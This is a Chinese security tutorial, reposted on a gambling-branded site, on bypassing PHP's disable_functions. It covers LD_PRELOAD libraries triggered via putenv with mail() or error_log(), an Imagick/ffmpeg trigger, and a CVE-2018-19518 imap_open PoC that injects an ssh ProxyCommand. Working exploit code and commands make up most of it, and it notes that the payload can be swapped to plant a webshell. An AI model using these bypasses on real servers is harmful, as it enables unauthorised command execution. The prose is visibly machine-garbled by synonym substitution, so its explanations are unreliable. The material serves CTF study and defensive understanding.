Bypass disabled_functions一些思绪总结 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Bypass disabled_functions一些思绪总结

申博_安全预警 申博 181次浏览 已收录 0个评论

SRC挖掘初探之随缘XSS挖掘

SRC挖掘初探之随缘XSS挖掘 Author:Hpdoger@D0g3 最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这

简介

PHP 的 disabled_functions主若是用于禁用一些风险的函数防备被一些攻击者应用

Bypass思绪

应用LD_PRELOAD

甚么是LD_PRELOAD

LD_PRELOAD是Linux体系的一个状况变量,用于动态库的加载,动态库加载的优先级最高,它能够影响顺序的运转时的链接(Runtime linker),它许可你界说在顺序运转前优先加载的动态链接库。这个功用重要就是用来有挑选性的载入分歧动态链接库中的雷同函数。经由历程这个状况变量,我们能够在主顺序和其动态链接库的中心加载其余动态链接库,以至掩盖一般的函数库。一方面,我们能够以此功用来运用本身的或是更好的函数(无需他人的源码),而另一方面,我们也能够以向他人的顺序注入顺序,从而到达特定的目标。

简朴来讲就是LD_PRELOAD指定的动态链接库文件,会在别的文件挪用之前先被挪用

demo

光看观点预计你可能会很懵,我们来写一个简朴的demo来相识一下啥是LD_PRELOAD
起首我们先写一个id.c,内容以下:

#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

实行一波

qiyou@ubuntu:~/Desktop$ id
uid=1000(qiyou) gid=1000(qiyou) groups=1000(qiyou)....

qiyou@ubuntu:~$ whoami
qiyou

qiyou@ubuntu:~/Desktop$ gcc -shared -o id.so id.c

qiyou@ubuntu:~/Desktop$ export LD_PRELOAD=./id.so

qiyou@ubuntu:~/Desktop$ id
uid=0(root) gid=0(root) egid=1000(qiyou)....

qiyou@ubuntu:~/Desktop$ whoami 
root

能够看到uid和gid都变为了0,权限也变为了root

我们能够用ldd查询一下依靠干系,能够发明id.so(我们编译的动态链接库)在别的动态链接库之前提早被加载了,也就是说我们的歹意代码中的函数掩盖了底本的动态链接库的函数

Bypass disabled_functions一些思绪总结

合营putenv+mail

putenv官方手册是这么诠释的:

putenv ( string $setting ) : bool
增加setting到服务器状况。状况变量仅在以后要求的延续时候内存在。在要求结束时,状况将规复到其原始状况。

若是该函数未被ban掉的话,即使是禁用了别的罕见的函数,也可能会致使rce
我们能够依照以下步调:

  1. 天生一个我们的歹意动态链接库文件
  2. 应用putenv设置LD_PRELOAD为我们的歹意动态链接库文件的途径
  3. 合营php的某个函数去触发我们的歹意动态链接库文件
  4. Getshell

那末php中的某个函数怎样去找呢,参考了该文章,发明mail()函数能够运用,而mail()函数实行默许是会挪用外部顺序sendmail的,看一下php.ini就会发明默许挪用sendmail -t -i

Bypass disabled_functions一些思绪总结

PS:若是没有装置sendmail的话能够用apt-get install sendmail装置sendmail

我们能够用strace检察一下mail函数挪用的历程,能够很明显看出来实行了sendmail -t -i
Bypass disabled_functions一些思绪总结

然后我们能够运用readelf -Ws /usr/sbin/sendmail能够检察senmail都挪用了哪一些函数,然后从当选几个便可,这里我们挑选getuid

Bypass disabled_functions一些思绪总结
然后就能够编写我们的动态衔接顺序
test.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > test");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后天生我们的动态链接顺序

gcc -c -fPIC test.c -o test
gcc --share test -o test.so

然后编写php剧本mail.php

<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","","");
?>

实行一波,然后用strace检察挪用历程是不是实行了我们的ls > test,能够发明成实行了我们的敕令

Bypass disabled_functions一些思绪总结

Bypass disabled_functions一些思绪总结

合营putenv+error_log

0ctf2019的Wallbreaker Easy中ban了mail函数,然则error_log没有ban掉,故我们能够用error_log来bypass disabled_functions

error_log的一些参数

error_log(error,type,destination,headers)

当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

编写php剧本,动态链接文件同上,error_log挪用的历程当中(当type为1时)和mail函数一样,也会挪用sendmail,

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

Bypass disabled_functions一些思绪总结

Bypass disabled_functions一些思绪总结

Bypass disabled_functions一些思绪总结

应用ImageMagick

状况搭建

这个搭建状况有一丝丝烦琐,不外没紧要,依照我以下步调来应当题目不大QAQ

1:apt-get update&&apt-get install imagemagick
2:convert -version //若是装置胜利会返回imagemagick版本号

Bypass disabled_functions一些思绪总结

装置几个依靠

apt-get install php-pear php-dev
apt-get install libmagickwand-dev

下载和装置imagick

1.wget http://pecl.php.net/get/imagick-3.4.3.tgz

2.tar -zxvf imagick-3.4.3.tgz

3.phpize

4.  ./configure --with-php-config=/usr/bin/php-config --with-imagick=/usr/local/imagemagick //注重php-config可能会分歧,要根据你详细的状况来修正

5.make&&make install

6.改一波php.ini,随意一行增加:extension = imagick.so

7.然后php -r "phpinfo();"|grep imagick,看有没有装置胜利

胜利装置
Bypass disabled_functions一些思绪总结

然后装置ffmpeg

apt-get install ffmpeg
ffmpeg -v 看看是不是装置胜利

胜利装置
Bypass disabled_functions一些思绪总结

怎样应用

那末我们应当怎样应用呢,参考了漂荡师傅的剖析,能够晓得当Imagick处置惩罚的文件是以下后缀的时刻,就会挪用外部顺序ffmpeg行止置惩罚该文件

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

我们来写一个小demo来考证一下是不是准确
img.php

<?php
$img = new Imagick('img.mp4'); //img.mp4文件必需存在,不然就会不去挪用ffmpeg
?>

我们strace一下看看实行的历程,能够发明在实行的历程当中挪用了ffmpeg

Bypass disabled_functions一些思绪总结

合营__attribute__函数

PS: __attribute__的引见

__attribute__能够设置函数属性(Function Attribute)、变量属性(Variable Attribute)和范例属性(Type Attribute)。__attribute__前后都有两个下划线,而且后面会紧跟一对原括弧,括弧内里是响应的__attribute__参数

__attribute__语法花样为:__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数实行之前被自动的实行。相似的,若函数被设定为destructor属性,则该函数会在main()函数实行以后或许exit()被挪用后被自动的实行。例以下面的顺序:

我们能够晓得当该函数为__attribute__((__constructor__))的时刻,会在main()函数实行之前被自动的实行
以是我们实验组织poc.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls > test");
}

然后天生我们的动态链接顺序

gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so

img.php

<?php
putenv("LD_PRELOAD=./poc.so");
$img = new Imagick('img.mp4');
?>

运转一波,发明我们的敕令实行胜利了
Bypass disabled_functions一些思绪总结

应用imap_open (CVE-2018-19518)

php imap扩大用于在PHP中实行邮件收发操纵。其imap_open函数会挪用rsh来衔接长途shell,而debian/ubuntu中默许运用ssh来替代rsh的功用(也就是说,在debian系列体系中,实行rsh敕令现实实行的是ssh敕令)。
由于ssh敕令中能够经由历程设置-oProxyCommand=来挪用第三方敕令,攻击者经由历程注入注入这个参数,最终将致使敕令实行破绽。

ssh的-oProxyCommand 参数
SSH 敕令顶用到了很多敕令,个中我们能够运用 -o 参数来设置衔接时期可用的种种选项。在竖立SSH衔接之前,我们能够设置 ProxyCommand 参数,以下所示:

qiyou@ubuntu:~/test$ ls

qiyou@ubuntu:~/test$ ssh -oProxyCommand="touch test.txt" 192.168.1.123

ssh_exchange_identification: Connection closed by remote host

qiyou@ubuntu:~/test$ ls
test.txt

能够发明即使是ssh衔接失利了,然则敕令照样实行了。

CVE-2018-19518的状况能够直接运用vulhub上的状况:链接

直接上poc

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

实行一波,能够发明实行胜利了,要想写webshell的话直接把我们的exp改一下就ok了,这里就未几赘述了
Bypass disabled_functions一些思绪总结

跋文

被0ctf锤哭了,膜RR师傅Orz,竞赛的时刻没有做出来,赛后没有时候复现,比及想要复现的时刻状况已关了,只能是当地复现了,特地总结了一下。

SRC挖掘初探之随缘XSS挖掘

SRC挖掘初探之随缘XSS挖掘 Author:Hpdoger@D0g3 最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Bypass disabled_functions一些思绪总结
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址